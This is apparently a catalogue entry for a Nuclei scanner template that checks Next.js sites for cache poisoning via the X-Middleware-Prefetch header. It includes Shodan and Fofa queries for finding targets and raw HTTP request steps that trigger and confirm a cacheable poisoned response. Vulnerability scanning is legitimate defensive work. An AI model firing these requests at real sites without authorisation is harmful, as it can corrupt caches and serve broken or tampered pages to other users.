nextjs-middleware-cache: Next.js - Cache Poisoning
- Template: nextjs-middleware-cache
- Name: Next.js - Cache Poisoning
- Description: Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
- Severity: high
- Authors: DhiyaneshDk
- Tags: nextjs, cache, vuln
- References: https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
- Verified: yes
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/nextjs/nextjs-middleware-cache.yaml
- Digest: 490a0046304402201de2e605fd1dedf99328fc7a3049802725c96853d835abd9f1efced0f9ef602f022067fb135fa0fd70c30feaa06acd7354d69537cb778c66dd4e7acf828d7467b0d7
- Created at: 2024-07-10T18:13:31Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 866
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/nextjs/nextjs-middleware-cache.yaml
- Checked, none or zero: cves
- Not known: impact, remediation, max requests
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: body="/_next/static"
- Framework: node.js
- Product: next.js
- Shodan-query: http.html:"/_next/static", cpe:"cpe:2.3:a:zeit:next.js"
- Vendor: vercel
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| vercel:next.js | yes | /v1/products/vercel/next.js |
Labels
- Name: Next.js - Cache Poisoning
- Impact: Attackers can poison cached responses, potentially serving malicious content to users and leading to information disclosure or client-side script execution.
- Remediation: Update to the latest version of Next.js.
- Vulnerability type: web_cache_poisoning
- Vulnerability impact: client_script_exec, data_tampering
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: nextjs-middleware-cache
info:
name: Next.js - Cache Poisoning
author: DhiyaneshDk
severity: high
description: |
Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
reference:
metadata:
verified: true
vendor: vercel
product: next.js
framework: node.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: nextjs,cache,vuln
variables:
rand: "{{rand_text_numeric(5)}}"
http:
- raw:
- |
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
X-Middleware-Prefetch: 1
Priority: u=1
- |
@timeout: 10s
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
X-Middleware-Prefetch: 1
Priority: u=1
- |
@timeout: 10s
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_2 == 200 && contains(all_headers_2, 'X-Middleware-Skip: 1') && !contains(cache_control_2, 'no-cache') && !contains(pragma_2, 'no-cache')"
- "status_code_3 == 200 && contains(all_headers_3, 'X-Middleware-Skip: 1') && !contains(cache_control_3, 'no-cache') && !contains(pragma_3, 'no-cache')"
condition: and
digest: 490a0046304402201de2e605fd1dedf99328fc7a3049802725c96853d835abd9f1efced0f9ef602f022067fb135fa0fd70c30feaa06acd7354d69537cb778c66dd4e7acf828d7467b0d7:922c64590222798bb761d5b6d8e72950
```